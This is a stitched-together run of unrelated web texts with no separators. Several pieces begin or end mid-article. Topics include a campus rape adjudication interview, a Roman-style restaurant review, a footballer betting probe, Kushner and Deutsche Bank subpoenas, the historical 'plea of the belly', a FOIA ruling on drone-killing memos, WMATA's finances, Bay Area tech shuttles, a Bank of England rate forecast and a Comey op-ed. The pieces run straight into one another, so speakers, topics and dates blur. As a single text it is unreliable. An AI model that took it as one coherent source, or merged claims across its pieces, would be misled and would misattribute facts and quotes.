According to Banzhaf, college adjudication committees fail to properly identify force versus the threat of force, which could be verbal, in date rape scenarios. The issue of campus rape is further convoluted, he said, with colleges blurring the lines between the definition of rape and sexual assault.
“The issue isn’t consent,” he told Campus Reform. “It’s proof beyond a reasonable doubt which is almost impossible.”
Banzhaf says he refuses to side with advocates on either side of the escalating campus rape discussion. Instead, he proposes colleges hire retired lawyers or law enforcement officials--clarifying that “I’ll be damned if a junior assistant dean for libraries” should be put in charge of sexual assault cases--to cover a predetermined area of schools and serve as those schools’ liaison for sexual assault cases who “do nothing but investigate and if necessary adjudicate for that group of universities.”
“That way you’re having someone who has the training and is completely impartial step in [to handle campus sexual assault cases],” Banzhaf explained.
He recognized that some victims of campus sexual assault may not want their attacker to be kicked off campus completely but just removed from their dorm or class.
“The amount of protection [a school should offer to a victim] may vary depending on the punishment they are seeking,” he said.
But Banzhaf has another idea for college kids who are afraid of being falsely accused of rape.
“I’m seeing more cases where students are videotaping their sexual encounters,” he said, adding that even if students record their sex acts without sound, consent can still be easily proven.
Tony, Lennon and Geoff stop all their horse-play and come back to the hangar to bring you a show that’s not only nutritious, but delicious! In Squawk Box, we take a look at the furthest not-planet in the solar system. In CIG News we bring you everything that’s happening around the UEE including our weekly Crowd Funding Update, 10 For The Producers episode 09, everything spewing forth from the cretin that is Derek Smart, the latest updates on Star Marine, and we take a brief look at another space sim: Elite Dangerous. In Nuggets for Nuggets, we find out what life’s like aboard a Starliner, and finally we tune into the feedback loop and let you join in on the conversation.
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What are your thoughts on the combination of Arena Commander and Star Marine branches? Were they right to merge them now, or should they have kept them in parallel development?
Let us know your thoughts by commenting below!
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Perhaps the most famous of these is carciofi alla giudia ($12), deep fried artichokes simply seasoned and served with lemon to squeeze over top. The petals are trimmed but should be avoided, as they can be quite fibrous and tough to chew. It's the meaty heart that's the treasure, and the natural flavours are delightfully earthy and nutty.
Also typical of the region are spuntini like crostini topped with white anchovies and burrata ($14), and chorchette ($14), deep fried batons of potato and cheese.
These are thirst-inducing snack foods, which you can quench with Grolsch and Peroni on tap ($7.50/16oz). There's also a good little wine list. A Sangiovesse, considered the house table wine, will run you $7.50 per glass ($18 for a half litre).
The setting is casual and unfussy. Murals by Lukas Byra depict scenes of the Synagogue of Rome and draw inspiration from the graffiti that's prevalent throughout the Italian capital. Meanwhile, you'll find specials listed on chalkboards and checkered table liners adding pops of colour and an old school, red sauce kind of vibe.
They've put the pizza oven to good use too with a lineup of eight Roman style pizzas. I try the Margherita ($14) dressed with sweet San Marzano tomato sauce, fior di latte and basil. It boasts an ultra thin blistering crust with a soft pliable centre.
Another dish I'm quite fond of is the Insalata di tonno ($8.50), a lightly dressed arugula salad topped with Italian canned tuna, cannellini beans and tomatoes. It's so simple, a common theme of the night, but super tasty.
The menu isn't kosher but you'll notice an absence of pork. Mains include baked salmon ($22), stewed beef cheeks over mashed potatoes ($22), and a Venetian-style beef liver ($16) served with caramelized onions and mashed potatoes.
The grilled cornish hen ($22) is a particular highlight with its crispy skin and tender meat. While some of the entrees seem less suitable for sharing, this one could easily feed two if not more with contorni like sauteed rapini ($7) and golden pan fried eggplant ($6) ordered on the side.
Situated between Corso Italia and Forest Hill, the hybrid theme of the restaurant seems to match the neighbourhood well. For those who don't live nearby, it's worth the trip for a little taste of this tiny Roman district without the nine-hour flight.
Bet on & watch Scottish football live online at
The 34-year-old, who is set to return from a club suspension after the international break, is accused of placing 44 bets on football between July 1 and September 15 of this year – with one of those matches reported to be Celtic’s 7-0 Champions League thrashing at the hands of Barcelona.
According to a previous report by Scottish newspaper, The Daily Record, the 34-year-old placed a bet via his own Betfair account on Barcelona to beat Celtic by three or more goals when the pair met in the Champions League last month.
Although there are no accusations of match-fixing being levelled at the Rangers star, the SFA's rules state that players are not allowed to bet on any matches and so if Barton is found to have been responsible for the wagers then he is likely to face a ban.
Former Rangers players Ian Black and Steve Simonsen have previously falled foul of the rule with both having placed multiple bets on multiple matches over a sustained period. Black, who admitted to betting on games involving his own team, was banned for three matches while Simonsen served a one-game ban for placing bets on over 50 matches.
This is just the latest controversy involving Barton during his time at Ibrox. The midfielder joined Rangers from Burnley during the summer but has yet to live up to his own hype on the pitch, delivering a string of underwhelming performances.
ok here is what i have
i stumbled along these products by mere coincidence
i can guarantee that when using this solution on PLA and a non heated glass build platform that you will not get any warping at all.
the solutions themselves are very cheap and can buy from many local stores.
you would apply the solution just before printing and give a little more gap between nozzle and build plate, i use a business card instead of paper before i put the solution on.
i even use this method in an air-conditioned environment at 18c
once the project is complete the plastic is really stuck to the glass and to remove the project just stick the glass in the freezer for 5 minutes and it just breaks off.
i have not tried this method on abs as yet.
Prosecutors from the Brooklyn U.S. attorney’s office issued a document request in mid-November to Kushner Cos., asking for contracts and other information pertaining to the loan from the bank, this person said.
Chris Taylor, a spokeswoman for Kushner Cos., said the company “has cooperated and will continue to cooperate with any reasonable request for information.” A spokesman for Deutsche Bank declined to comment.
A spokesman for the Brooklyn U.S. attorney’s office said he couldn’t “confirm or deny the existence of any investigation.”
In October 2016, the Kushner Cos. finalized a $285 million loan from Deutsche Bank as part of a refinancing package for the purchase of a retail space in the former New York Times building in Times Square.
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At the time of the transaction, Mr. Kushner was chief executive officer of Kushner Cos. and was advising the presidential campaign of his father-in-law, Donald Trump.
After the election, Mr. Kushner, who is now special adviser to the president, resigned from the business and sold his personal stake in some projects and assets to family members and others, but he retains a stake in parts of the business, according to his most recent personal financial disclosure form.
An attorney for Mr. Kushner directed questions to Kushner Cos.
A financial disclosure form filed by Mr. Kushner as part of his White House employment shows he has a line of credit from Deutsche Bank worth between $5 million and $25 million. While in the administration, Mr. Kushner has recused himself from matters to which Deutsche Bank is a party because he has provided personal guarantees on loans the bank has made, a person familiar with his ethics arrangement told The Wall Street Journal in May.
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The New York Times reported earlier Friday that the Brooklyn U.S. attorney’s office had subpoenaed Deutsche Bank in recent weeks for “bank records about entities associated” with Kushner Cos. That report didn’t specify any particular transactions identified in the subpoena. A spokeswoman for the bank told the Times that it “takes its legal obligations seriously and remains committed to cooperating with authorized investigations into this matter.”
Federal prosecutors in Brooklyn have been probing Kushner Cos. for several months in an inquiry regarding the company’s use of an investment-for-immigration program known as EB-5, The Wall Street Journal has reported.
It is unclear whether the document request sent in mid-November is tied to that inquiry, but the prosecutors who sent the request are the same as those who have been working on the U.S. attorney’s EB-5 investigation, according to the person familiar with the matter.
The retail project for which Kushner Cos. obtained the loan from Deutsche Bank didn’t involve the use of the EB-5 program, according to people familiar with the matter.
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Kushner Cos.’ general counsel, Emily Wolf, has previously said that “Kushner Cos. utilized the program, fully complied with its rules and regulations and did nothing improper. We are cooperating with legal requests for information.”
According to one person familiar with the probe, the Brooklyn U.S. attorney’s inquiry doesn’t appear tied to the investigation by Special Counsel Robert Mueller into Russia’s meddling in the 2016 presidential election and whether it involved collusion by people involved with the Trump campaign. Mr. Mueller’s probe has been examining Deutsche Bank’s role as a correspondent bank, The Journal has reported, in which it served as a middleman in international transactions, facilitating transfers for other banks into countries where they have limited or no operations. Deutsche Bank has said it is cooperating with inquiries.
As part of the special counsel investigation, Deutsche Bank has been subpoenaed multiple times, including for information concerning people or entities affiliated with Mr. Trump, and asked to hand over information about transactions that could be linked to former national security adviser Michael Flynn or entities connected to him, The Journal has reported.
Mr. Trump has called the special counsel’s investigation a “witch hunt,” and Moscow has denied meddling in the election.
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The plea did not constitute a defense, and could only be made after a verdict of guilty was delivered. Upon making the plea, the convict was entitled to be examined by a jury of matrons, generally selected from the observers present at the trial. If she was found to be pregnant with a quick child (that is, a fetus sufficiently developed to render its movement detectable) the convict was granted a reprieve of sentence until the next hanging time after her delivery.[2]
Scholarly reviews of the Old Bailey Sessions Papers and Assize records from the reigns of Elizabeth I and James I have shown that women granted such reprieves were often subsequently granted pardons or had their sentences commuted to transportation. Even those women who were subsequently executed pursuant to their original sentences were often executed behind schedule.[3]
The famous female pirates Anne Bonny and Mary Read both used this plea to delay execution, although Read died of fever in prison.
It appears that women were often fraudulently or erroneously found to be quick with child. Daniel Defoe's Moll Flanders includes a character who successfully pleaded her belly despite being "no more with child than the judge that tried [her]".[4] John Gay's The Beggar's Opera includes a scene where the character Filch picks up income working as a "child getter ... helping the ladies to a pregnancy against their being called down to sentence".[5]
As a check against this abuse of the system, the law held that no women could be granted a second reprieve from the original sentence on the ground of subsequent pregnancy, even if the fetus had quickened. In the event that a female prisoner became pregnant, her gaoler or the local sheriff was subject to a fine.
Manchester United’s deal to sign Wilfried Zaha and instantly loan him back to Crystal Palace is facing a Football League probe.
United boss Sir Alex Ferguson has agreed a £15million swoop for the England starlet, with the clubs also proposing he is returned to Selhurst Park until the summer.
However, the Football League want to see the paperwork on the transfer and check their rule-book as there has been a tightening up on these kind of moves.
Ferguson is waiting on a ruling, but Old Trafford insiders have told the Mirror that he is quite happy to keep Zaha with United if there is a hurdle.
Palace supremo Steve Parish has assured the South London club's fans that Zaha will play for them for the rest of their promotion campaign.
But that may not be possible.
Now the clubs will work on a way to get round the problem on Wednesday - but United are keen to have Zaha on board and may send Palace another player or two instead.
Boss Ian Holloway is anxiously waiting on the outcome as he wants the money to spend and would also need to know whether Zaha is with him or gone.
NASCAR began penalizing teams practice time for swerving following the fall Charlotte race.
Swerving is back in the spotlight after comments Dale Earnhardt Jr. made over his radio and then to the media after Sunday’s race at Texas Motor Speedway. Tuesday night on NASCAR America, Dale Jarrett and Jeff Burton discussed the topic in the video above.
Earnhardt radioed his team that he saw the Team Penske cars of Brad Keselowski and Joey Logano “swerving” and “downshifting hard” after the checkered flag.
After telling reporters that the Penske cars had been the “class of the field,” Earnhardt said “we need to figure out what they are doing and see if we can’t make it better.”
This isn’t the first time Keselowski has been a part of the discussion regarding body manipulation. In 2012, it was Keselowski radioing his team during the Brickyard 400 about his amazement at how much skew was visible in the Hendrick Motorsports’ cars.
What does all this talk about swerving mean?
“What (Earnhardt) was saying was that he was seeing them downshifting really hard, when you downshift, that would move the rear end and try to get it back into place,” analyst Jeff Burton said on NASCAR America. “That doesn’t mean, per say, that they were cheating. They could be doing it for insurance. They may be right on that edge of where they could be in the rule and they’re afraid as things move around in the race, they could be illegal after the race. …
“I think it was Junior’s way to vent a little bit to his team, ‘Hey, those guys are doing something maybe we need to be doing. Then saying it publicly, that was probably a shot across the bow, saying this is something NASCAR should look at.”
NASCAR executive vice president and chief racing development officer Steve O’Donnell was asked about Earnhardt’s comments Tuesday by NBC Sports.
“We are constantly looking at what goes on,” O’Donnell said. “I think our inspection process has been the same in terms of this year, and we’ve had to write some penalties, so we’re staying on the teams and know that rear skew is an area that we want to continue to monitor.”
The Obama Administration continues to be so extreme in its claims of national security powers that it refused to even confirm the existence of the number of documents related to the subject matter of the use of drones in such targeted killings — even though both the policy is public and the attacks are obviously public. It got away with it before U.S. District Court Judge Colleen McMahon who expressed skepticism of the claims but then refused to order the release of redacted documents. Yet, the Freedom of Information Act (FOIA) was carefully crafted to just ask for legal arguments or policy memoranda on a program that Attorney General Eric Holder himself discussed in public. Here is the request:
1. All records created after September 11, 2001, pertaining to the legal basis in domestic, foreign, and international law upon which U.S. citizens can be subjected to targeted killings, whether using unmanned aerial vehicles (“UAVs” or “drones) or by other means. 2. All records created after September 11, 2001, pertaining to the process by which U.S. citizens can be designated for targeted killings, including who is authorized to make such determinations and what evidence is needed to support them. 3. All memoranda, opinions, drafts, correspondence, and other records produced by the OLC after September 11, 2001, pertaining to the legal basis in domestic, foreign, and international law upon which the targeted killing of Anwar al-Awlaki was authorized and upon which he was killed, including discussions of:
A. The reasons [*13] why domestic-law prohibitions on murder, assassination, and excessive use of force did not preclude the targeted killing of al-Awlaki; B. The protection and requirements imposed by the Fifth Amendment Due Process Clause; C. The reasons why International-law prohibitions on extrajudicial killing did not preclude the targeted killing of al-Awlaki; D. The applicability (or non-applicability) of the Treason Clause to the decision whether to target al-Awlaki; E. The legal basis authorizing the CIA, JSOC, or other U.S. Government entities to carry out the targeted killing of Anwar Al-Awlaki; F. Any requirement for proving that al-Awlaki posed an imminent risk of harm to others, including an explanation of how to define imminence in this context; and G. Any requirement that the U.S. Government first attempt to capture Al-Awlaki before killing him. 4. All documents and records pertaining to the factual basis for the targeted killing of Al-Awlaki, including:
A. Facts supporting a belief that al-Awlaki posed an imminent threat to the United States or United States interests; B. Facts supporting a belief that al-Awlaki could not be captured or brought to justice using nonlethal means; C. Facts indicating that there was a legal justification for killings persons other than al-Awlaki, including other U.S. citizens, while attempting to kill al-Awlaki himself; D. Facts supporting the assertion that al-Awlaki was operationally involved in al Qaeda, rather than being involved merely in propaganda activities; and E. Any other facts relevant to the decision to authorize and execute the targeted killings of al-Awlaki. 5. All documents and records pertaining to the factual basis for the killing of Samir Khan, including whether he was intentionally targeted, whether U.S. Government personnel were aware of his proximity to al-Awlaki at the time the missiles were launched at al-Awlaki’s vehicle, whether the United States took measures to avoid Khan’s death, and any other facts relevant to the decision to kill Khan or the failure to avoid causing his death. 6. All documents and records pertaining to the factual basis for the killing of Abdulrahman al-Awlaki, including whether he was intentionally targeted, whether U.S. Government personnel were aware of his presence when they launched a missile or missiles at his location, whether he was targeted on the basis of his kinship with Anwar al-Awlaki, whether the United States took measures to avoid his death, and any other factors relevant to the decision to kill him or the failure to avoid causing his death.
The Obama Administration classified the bulk of the memoranda and only released non-classified material that did little to answer these questions. It then made the facially absurd argument that the release of redacted legal memoranda (or even the number of such documents) would put the nation at risk. However, Obama officials continued to speak publicly on those very subjects when it suited them in courting public opinion.
The Second Circuit basically found that Judge MacMahon turned a blind eye to the contradictions, releases of the same information, and exaggerated claims of the Obama Administration:
Although we are not required to consider such evidence, the circumstances of this case support taking judicial notice of the statements here. See Fed. R. Evid. 201(b)(2). The Government’s post-request disclosures “go[] to the heart of the contested issue,” Powell v. U.S. Bureau of Prisons, 927 F.2d 1239, 1243 (D.C. Cir. 1991) (internal quotation marks omitted), and, as discussed below, are inconsistent with some of its prior claims [redacted]. Taking judicial notice of such statements is the same course taken by the Court of Appeals for the D.C. Circuit in its recent ACLU v. C.I.A. decision. 710 F.3d at 431. We conclude that it is the most sensible approach to ongoing disclosures by the Government made in the midst of FOIA litigation. Moreover, the Government’s request for an opportunity to submit new material concerning public disclosures made after the District Court’s decision was honored by affording the Government an opportunity, after oral argument, to submit such material ex parte for in camera inspection, which the Government has done.
. . . The Government offers no explanation as to why the identical text of the DOJ White Paper, not marked “draft,” obtained by Isikoff, was not disclosed to ACLU, nor explain the discrepancy between the description of document number 60 and the title of the DOJ White Paper.
While MacMahon insisted (as is often the case with federal judges yielding to such sweeping government claims) that she lacked authority to order release of the material, the Second Circuit held that she did. Moreover, the Second Circuit ruled against a clearly opportunistic argument by the Obama Administration that, even when it released the very same information claimed to be withheld to protect the nation, the courts could not consider its conflicting actions if they occurred after McMahon’s ruling. Thus, as soon as they have the ruling in the bag, the Administration tried to argue that it could openly contradict its earlier position and discuss previously claimed classified material. Once again, virtually no Democratic members of Congress has denounced the extreme position of the Administration in this case — a silence that will likely undermine any effort of the party to eventually try to regain the values and principles lost during this Administration.
The opinion is a great victory for the media and civil liberties. It was written by Circuit Judge Jon Newman.
The opinion offers another insight in the continuing disconnect between what President Obama is telling the public and what his Administration is actually doing in court. That disconnect appears to be driving polls showing that a large percentage of the public simply does not believe Obama is telling the truth on many issues — a key loss of credibility going into the next round of elections.
Here is the opinion.
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What’s going on with our trains?
Photo by Make Lemons on Flickr.
Certainly, money is a big part. Amtrak officials have been warning for years that the infrastructure is falling apart due to lack of funds for maintenance. It’s a sad, tragic, but perhaps not so surprising turn of events that a train will derail if maintenance is ignored (and there have been several more minor derailments recently).
Metro’s infrastructure, too, is in bad shape after decades of neglect while the region’s governments let a brand-new subway system degrade. It needs repairs all over the place, and while the agency works on repairing one set of things, like the track circuits that led to the 2009 Red Line crash, other things don’t get the attention they need, like radios or arcing insulators.
It’s not sustainable to lurch from one crisis to another, never getting to work on the second-tier, but still high-priority, items.
Everyone in frustrated with WMATA
Still, from talking to government officials, business leaders, advocates, and riders, all express how frustrated they are at trying to work with WMATA. Just look at Friday’s meeting with the DC Council on the financial crisis. DeWitt said insolvency could be just a month away. Jack Evans said there is “cause for concern.” Corbett Price said, “This company has been building on a sandy foundation for a long period of time now.” But “Transit officials ... said Metro could scrape together” the money.
The Federal Transit Administration put WMATA in a “penalty box” last year because the agency allegedly wasn’t properly documenting expenses, awarded some no-bid contracts, and paid some people improperly. This means that auditors won’t sign off on the agency’s books, which is precipitating this crisis.
Clearly, WMATA screwed up, big time. But a number of officials who aren’t inside either WMATA or the FTA do say privately that they feel the FTA is also being far too demanding. To implement (strict) federal procurement rules, they have layered on more and more regulations which put a tremendous burden on already-strapped transit agencies. FTA officials would say they had to take this step with WMATA, but it’s worth asking the deeper question: is our federal transit bureaucracy also stifling transit in its zeal for regulation?
Even so, this doesn’t excuse WMATA. Yes, they don’t have enough money. Yes, they probably labor under the heavy yoke of federal overseers. Yes, the infrastructure is in bad shape since long before any of the current people were here.
But we don’t hear about these problems from the agency. Instead, we hear about them when they get so bad that the agency can’t deny their existence any more. Officials said last summer they thought the FTA problem would get cleared up in a month or two. I’m sure they hoped so, but always putting on a brave face to the public just makes supporters feel betrayed when it turns out the problem is far worse.
The same goes for escalator repair projects where the reliability is less than promised, cell phone service which takes longer than promised, delays which are worse than promised, and much more. It’s like people think if they just don’t fess up to problems, they’ll go away. They won’t.
And now, officials in DC, Maryland, and Virginia don’t trust WMATA, nor do most riders. That makes it even harder to come together to find a solution to the problem.
Player & Alumni Autographs
Each Weekend Pass to the event comes with guaranteed access to one autograph session with one or two of the attending players/alumni.
Photos with Players & Alumni
Get up close and personal with the players and capture the memories in photos! Each Weekend Pass to the event comes with guaranteed access to one photo session with one or two of the attending players/alumni.
Baseball Insider Panels
This year's panels will take place at the Grand Theater (same location as Friday night's Town Hall, near the Premier Ballroom in the Fox Tower). Given the large capacity of the Grand Theater, there will be no pre-registration for panels. Access to the panels will be first-come, first-serve.
Family Fun Zone
Don't forget to stop by the Premier Ballroom on Friday night and Saturday where we will feature games and activities for kids of all ages! Test your fastball at the speed pitch, take some swings in the batting cage, experience Sox Virtual Reality, and much more.
Town Hall Meeting
On Friday evening at the Grand Theater, right after the members of the 2019 Red Sox are introduced, Red Sox Ownership and Senior Management will be on hand to take questions from fans about the upcoming season. The Town Hall will air on NESN at a later date.
The Fenway Park Archives
A variety of artifacts from Red Sox history will be on hand for viewing.
Ticket Town
Dedicated sales representatives will be available in the Sales Garden on Friday night and throughout the day on Saturday to assist with ticket purchases for the 2019 season, including a chance to purchase tickets for summer games before they are available to the public.
Fenway Park Fare
Ballpark food will be available for purchase and adults can enjoy a beverage at the Beer Garden.
Kids Clinics*
Throughout the day on Saturday, Red Sox Coaches & Alumni will host a variety of Kids Clinics in the Celebrity Ballroom. For a slight surcharge, your Child's Weekend Pass comes with the ability to choose 1 clinic on Saturday. You will select the clinic at the same time that you select your autograph/panel times. (Note: Opportunity to purchase further clinic tickets may be available on-site at the event.)
*Separately ticketed event for additional charge
Breakfast with Wally & Tessie *
Join Wally and his sister Tessie for a Wally-themed breakfast for kids and families on Sunday morning!
*Separately ticketed event for additional charge
NESN Live from Winter Weekend
Catch NESN's live broadcast of Winter Weekend with special appearances from Red Sox players and executives on Saturday.
Social Media Lounge
Social Security numbers, addresses, birth dates, and other information associated with job applications were reported to be stolen after the OED received an anonymous tip regarding a vulnerability in one of their information management systems.
As a result, the OED shut down the management system, corrected the vulnerability, and then brought it back online with added security. All impacted individuals are being notified and there is a dedicated hotline for inquiries.
Large corporations who manage sensitive data should align their information security management system (ISMS) to ISO27001, the international information security standard.
There are so many of the large, privately owned shuttles operating in the Bay Area that if they all fell under a single agency, they would be the seventh-largest transportation provider in the region in terms of ridership, according to the Metropolitan Transportation Commission, which released the study in conjunction with the Bay Area Council, a business-sponsored advocacy organization. All told, the 35 shuttle services included in the survey collectively carried some 34,000 passengers a day, or more than 9.6 million people in 2014, the last year for which data was available.
It’s the first study to look comprehensively at the growing practice which ignited protests in San Francisco and in the East Bay over the past few years. Demonstrators have argued the buses are a symbol of gentrification and the employees who ride them to high-paid jobs in the South Bay are responsible for hastening the widening inequities in housing and pay in cities such as San Francisco and Oakland.
But there’s never been any good data on just how many buses are operating in the area because there’s no single government agency tasked with collecting that data, said John Goodwin, a spokesman for the transportation commission.
“This clearly is a growing phenomenon around the region that has become an important part of our transportation landscape,” Goodwin said, “but it’s occupying a terrain that’s largely unmonitored.”
The study, called the Bay Area Shuttle Census, relied on self-reported data from Bay Area firms and looked at the number of vehicles, their passenger capacity, the total number of riders, and how far the vehicles were traveling in 2012, 2013 and 2014. The MTC and Bay Area Council defined shuttle services as “large multi-passenger vehicles” that either pick up passengers at a transit stop or other central location to carry them to the office, or that operate “longer routes between more distant parts of the Bay Area.”
The report does not detail where the buses are picking up passengers — whether at BART stations, bus stops, private lots or elsewhere — which was a bone of contention in San Francisco, where protesters surrounded large tech buses using MUNI bus stops. San Francisco responded by establishing a pilot program to regulate where the buses can stop and charge $3.67 for each stop in a marked bus zone.
Though Rick Ramacier, the general manager of County Connection, which serves Contra Costa County, said his staff has reported seeing the private buses parked in public spaces, the number of shuttles there aren’t interfering with the agency’s operations.
“We don’t have the issues they had in San Francisco with people saying … MUNI passengers couldn’t get to the bus stop,” Ramacier said. “No one is stepping on anyone’s toes.”
While organizations like the Anti-Eviction Mapping Project have detailed the increase in evictions in areas adjacent to tech bus stops in San Francisco, Adrian Covert, the Bay Area Council’s policy director, said the rise in private shuttles is a response to the housing shortage, not its cause. At the heart of the issue, Covert said, is the both the region’s booming economic success and its failure to build enough housing in areas where new jobs are being added.
“The private sector is responding by providing shuttles that go further distances to pick up employees,” Covert said. “The bad news is that we have to do this in the first place … because the housing stock is not keeping pace with demand.”
Representatives from the Anti-Eviction Mapping Project could not immediately be reached.
Covert touted the buses’ environmental benefits, which in San Francisco alone took 2 million single-passenger automobile trips off the road and reduced carbon emissions by 2,000 metric tons, he said.
Rather than replace traditional public transit, Ramacier said he sees the shuttles as complementing and perhaps even boosting local bus service.
“Generally, if the private sector finds a way to get something done, that’s a good thing, and they’re not using taxpayer money to do it,” he said. “It gives us the opportunity to look at doing something differently to complement rather than compete, or maybe we’re competing where we shouldn’t be.”
Ramacier said he would like to see even more detailed information about the routes so that public transportation agencies can better coordinate services, though Goodwin said more oversight isn’t needed.
“I’m not necessarily convinced that a larger public role at the regional level is needed,” Goodwin said. “This is an organic response to the challenges of a growing economy.”
Where the buses travel; round trips between and within counties:
San Francisco and Santa Clara: 308
Alameda and Santa Clara: 119
Santa Clara and Santa Clara: 81
San Mateo and San Mateo: 77
San Mateo and San Francisco: 65
San Mateo and Santa Clara: 44
Santa Cruz and Santa Clara: 31
Alameda and Alameda: 19
San Francisco and San Francisco: 18
Alameda and San Mateo: 11
Contra Costa and San Mateo 9
Marin and Santa Clara: 6
San Mateo and Solano: 4
Marin and San Mateo: 3
Contra Costa and Contra Costa: 2
Contra Costa and Santa Clara: 2
San Francisco and Marin: 2
Contra Costa and Alameda: 1
Contra Costa and San Francisco: 1
Sacramento and Santa Clara: 1
"Women's empowerment does not mean you create a complex among men. Then it will take 20 more years to empower men. It is all about evolving as a soul, as a human being. It does not mean that you become a sexist," Kangana said at an event, where she was asked about her views on the short film.
My Choice, directed by Homi Adjania, calls for a change in the mindset of men about women and asks them to stop judging women for their choices of clothes, profession and life.
The video features Deepika calling for a change in the "caged" mindset of men about women. The video asks men to stop judging women for their choices of clothes, profession, life, or anything else.
While most institutions are moderate, some do not promote British values Clara Molden/Times Newspapers Ltd
Photographs of texts in the school libraries as well as examples of pupils’ own work — which I have seen — raise serious questions about the government’s campaign to uphold so-called “British values” in the education system.
Review Author
Fatal Flaw
Manuscript Writing
Introductory Material
When I wrote my 2009 comment 'Are we training pit bulls to review our manuscripts?' [1] I was motivated by the aggressive search for flaws that we teach - yes it's our best defense against incomplete scientific evidence for new hypotheses and worse, fraud - but I proposed that we had become overly zealous. Instead of a laser-like focus on demanding more data, more statistics, more of everything, how could we instead teach students to recognize timely, solid, and important findings that actually reflect the type of work most of us publish, most of the time?
The recommendations to give students a better grounding in evaluating typical, very good papers were simple:
1. Read the papers in the bibliographies of 'important' papers and key reviews to learn the context from the past. Note where these papers are published - they are usually in a wide range of journal types.
2. Learn to consider the current state of questions and technologies when a group likely started their work, not what has just become possible to do. Help students see that commitment to an appropriate technology at a specific time is often necessary to get anything done and that jumping to 'the next new thing' may not be possible given the biological materials or the budget.
3. Talk to a group of authors who are writing a current paper about the triage of which data to include, what parts of the manuscript represent confirmatory evidence, and which parts are novel or add a new insight to a current model.
Following the publication of the Journal of Biology comment [1], I received nearly 20 emails and many campus comments, and participated in many general discussions at meetings. This is far more feedback than for all but a handful of papers I've written. Several people wanted the list of the 'dirty dozen' papers with fatal flaws to use in their teaching ....hmmmm, did they read the comment? But most people expressed parallel concerns and offered more suggestions on involving students in manuscript writing and in reading the reviews received.
The latter idea is quite good I think, if authors are willing to share this information, because in my experience student evaluations of papers are more thoughtful and thorough than most professional reviews. Students would grasp how some papers with fatal flaws slip through the review and editorial process if they read some of the very superficial reviews authors do receive. Second, students would feel the pain of authors they know when offhand or incorrect comments might doom a manuscript. More importantly, they would see that even enthusiastic reviewers often have excellent suggestions for improving the manuscript, in ways that the authors might not have considered. Many papers are better on rewriting or re-visioning, actually thinking everything through afresh after comments. Students who participated in the rebuttal to reviews would also learn some of the negotiating and 'spin' skills so necessary to advocate for acceptance. Learning to recast the 'state of knowledge' to pinpoint how your report is a step forward often highlights a weakness in the introductory material of the original submission - if reviewers couldn't see how this was new, they are more likely to suggest rejection.
Collectively the active participation of students in manuscript crafting, rewriting, and composing rebuttal letters would prepare them for writing up their own work. I think students would be more realistic about when to start writing, about choosing the appropriate journal for the data in hand (not the dream journal), and how best to anticipate reviewers' comments and write a manuscript that forthrightly addresses legitimate issues, including recognizing that some data types are weaker than others.
One final clarification: I'm a cat person - completely afraid of large dogs, so for me the pit bull inspires terror. On the other hand, quite a few readers own and love this breed, and they were hurt that once again pit bulls were used as a symbol of unnecessary aggression. I apologize and point out that feline hunters show little mercy to their prey; thus, the original article could have been titled are we training tigers or lions or tabbies?
Anxiety in global markets and a weakening US economy will force the Bank of England to delay UK interest rate rises until at least 2020, according to a leading firm of analysts.
The Economist Intelligence Unit (EIU) forecast, which will cheer mortgage borrowers and disappoint savers, extends by at least three years the timeline for the central bank’s first increase from the historically low 0.5%.
Most analysts have forecast a first rise in the base rate for almost seven years towards the end of this year or early 2017.
Market turmoil: European markets fall again after Japan's 5% rout – live updates Read more
The Bank of England governor, Mark Carney, said last month that the UK faced “a powerful set of forces” that prevented policymakers from raising rates.
However, Carney used his quarterly inflation report briefing to say that interest rates were “more likely than not” to go up over the next two years.
Danielle Haralambous and Aengus Collins, analysts at the EIU, said Carney’s statement was at odds with the downbeat analysis in the inflation report.
“We now expect record-low interest rates to remain in place in the UK for at least the next four years,” they said.
In the last week the Bank has downgraded the UK’s expected GDP growth in 2016 and signalled that inflation will remain low this year and in 2017.
Trade data shows that Britain has struggled to improve its exports against the headwinds of a stronger currency and nervous global markets, especially among emerging economies.
The EIU analysts said downward revisions to official growth data revealed that the loss of momentum last year was sharper than expected.
They also argued that the UK suffered from “unresolved structural weaknesses” that would prevent wages from accelerating and from putting pressure on prices.
“The vulnerability of the UK recovery, combined with the more decisively dovish tone at the BoE, has led to a significant change in our call on monetary policy. We no longer expect tightening to begin in the final quarter of this year. We now expect the BoE to hold off on tightening for the next four years at least,” they said.
A decision to maintain low rates will prevail despite a build up in inflationary pressures, they said.
Sen. Lindsey O. Graham (R-S.C.) (Jim Bourg/Reuters)
Opinions editor
Given the avalanche of new details in the Trump-Russia probe and whether President Trump obstructed justice in firing FBI Director James B. Comey, it’s not surprising that Republicans are fortifying the president’s defenses. On Thursday, Sens. Charles E. Grassley (R-Iowa) and Lindsey O. Graham (R-S.C.) released a letter in which they claim Comey “prejudged” the investigation into Hillary Clinton’s email practices. Trump latched onto the story, tweeting Friday morning, “Wow, looks like James Comey exonerated Hillary Clinton long before the investigation was over…and so much more. A rigged system!” Rather than undermine the case against firing Comey, though, Grassley and Graham’s letter and the reactions by other Republicans show again that they’ll use any excuse to hurt Comey’s credibility and by extension special counsel Robert S. Mueller III’s inquiry.
Grassley and Graham’s letter centers on partial transcripts of interviews the Office of Special Counsel conducted with FBI officials last fall. These officials said that Comey began to work on a statement exonerating Clinton as early as April 2016, before Clinton herself and some key aides were interviewed. “Conclusion first, fact-gathering second — that’s no way to run an investigation,” charge the two Republicans. (Let’s pause for a moment on the irony of two members of the “Lock Her Up” party accusing someone else of jumping to conclusions.)
But it’s far from unusual for prosecutors and investigators to draft statements about their conclusions before the investigation is over so that the case can proceed efficiently. If Comey and his team had taken weeks after interviews were finished to draft and announce his decision, Republicans would have claimed he was trying to slow-walk the case. That Comey was already at work on a statement is not evidence of impropriety. As Washington veterans (and in Graham’s case, a former lawyer), the senators likely know this.
The letter’s very first sentence exposes the phoniness of Grassley and Graham’s outrage. It puts the letter squarely in the context of “the circumstances surrounding Director Comey’s removal, including his conduct in handling the Clinton and Russia investigations.” But the “circumstances” the Trump White House cited in removing Comey never included anything about Comey going easy on Clinton. The White House first relied on a memo from Deputy Attorney General Rod J. Rosenstein that criticized Comey not for going easy on Clinton, but for releasing “derogatory information” about her in his July 2016 statement and reopening the case in October (a decision Republicans praised at the time). Other excuses the White House offered included Comey making factual errors in testimony to Congress and Comey’s failure to prevent leaks to the press. But the factual errors made Clinton and her aides look worse, and the leaks often hurt Clinton as well.
